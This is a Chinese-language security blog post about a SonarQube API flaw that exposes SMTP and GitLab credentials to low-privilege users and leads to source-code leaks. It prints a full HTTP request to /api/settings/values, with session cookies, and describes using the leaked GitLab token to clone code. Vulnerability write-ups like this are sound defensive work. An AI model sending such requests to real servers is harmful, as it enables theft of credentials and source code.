SonarQube API越權(quán)漏洞的思考
SonarQube是一款基于Web的工具,是一個開源的代碼質(zhì)量管理系統(tǒng),可幫助開發(fā)人員生成沒有安全問題、錯誤、漏洞、異常和一般問題的代碼。
如果您在開發(fā)一個小項(xiàng)目,那可能很容易,您可以仔細(xì)檢查代碼以發(fā)現(xiàn)任何問題。SonarQube屬于SAST類的代碼檢測工具,更側(cè)重于質(zhì)量檢查,也有一些針對性的安全檢測,比如SQL注入等,我用過商業(yè)版,試圖利用SAST來發(fā)現(xiàn)和解決代碼安全問題,比較失望。規(guī)則庫比較弱,自定義能力差,畢竟只是更專注于質(zhì)量檢查。
大背景
近期,境外網(wǎng)站又報(bào)道了一些涉及中國多個機(jī)構(gòu)和企業(yè)的代碼泄漏,就是利用SonarQube的這個API越權(quán)漏洞進(jìn)行的。
(1)The Chinese Ministry of Public Security
(2) BOSCH 博世
(3) 梅賽德斯奔馳
SonarQube API 未授權(quán)下載源代碼漏洞利用過程及原理
SonarSource SonarQube由于存在安全漏洞,攻擊者可利用該漏洞通過API設(shè)置值URI,發(fā)現(xiàn)明文的SMTP和GitLab憑證(tocken)等敏感信息泄露,可導(dǎo)致gitlab中項(xiàng)目的代碼可以被任意clone下載,其實(shí)這個漏洞在2019年就被發(fā)現(xiàn)了。官方修復(fù)過一次,但是又出現(xiàn)了新的漏洞,并且一直延伸到7-8-9多個版本。
漏洞細(xì)節(jié):
漏洞利用過程及證明:
(1)敏感配置泄漏:
以普通用戶登陸就可以查看該AP I信息,如下:
GET /api/settings/values HTTP/2
Host: sonar.******.com
Cookie: experimentation_subject_id=ImExZjYyYTg4LTUwMmEtNDllOS1hNDNhLTZkYjc3OWVhNDM3YiI%3D--5753e714d025d34f4249d6d9d8cc7292ca0200b6; XSRF-TOKEN=5n4f4tq6qi30hg65n2h0qth56e; JWT-SESSION=eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJBWGpaWGotUmlDeWV5OUM0SnkwbCIsInN1YiI6ImZlbmd3ZWlndW8iLCJpYXQiOjE2MTg1NTQ1MzUsImV4cCI6MTYxODgxMzczNSwibGFzdFJlZnJlc2hUaW1lIjoxNjE4NTU0NTM1ODI1LCJ4c3JmVG9rZW4iOiI1bjRmNHRxNnFpMzBoZzY1bjJoMHF0aDU2ZSJ9.5GEbBs6oJnoRYnSbPC3BUysSZgy5tIu-LOuO7iOSEGI
Sec-Ch-Ua: "Chromium";v="89", ";Not A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (KaliLinux; ARM) AppleWebKit/637.36 (KHTML, like Gecko) Chrome/189.0.4389.90 Safari/637.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
官方進(jìn)行過修復(fù)然后該接口應(yīng)該只允許管理員可查看。
但是很多內(nèi)置了默認(rèn)賬號和簡單弱口令賬號同樣可查看。
(2) 利用該user_token可以來從gitlab獲取代碼:
看,就是sonar.gitlab.user.token , 直接可以拉代碼數(shù)據(jù)。
還能通過配置文件看到數(shù)據(jù)庫賬號密碼等。非常久遠(yuǎn)的漏洞了。
看看如何利用sonar.gitlab.user.token 拉代碼:
解決辦法
關(guān)注廠商官方網(wǎng)站,即使升級補(bǔ)丁。
友情提醒
看看至少有多少暴露在公網(wǎng):數(shù)量還是很驚人的,這么多假裝在乎代碼質(zhì)量的用戶,不在乎安全性個代碼泄露。
SonarQube 不建議對公網(wǎng)開放,Devops流程中如需要使用SAST請采用專業(yè)的工具,請棄用SonarQube。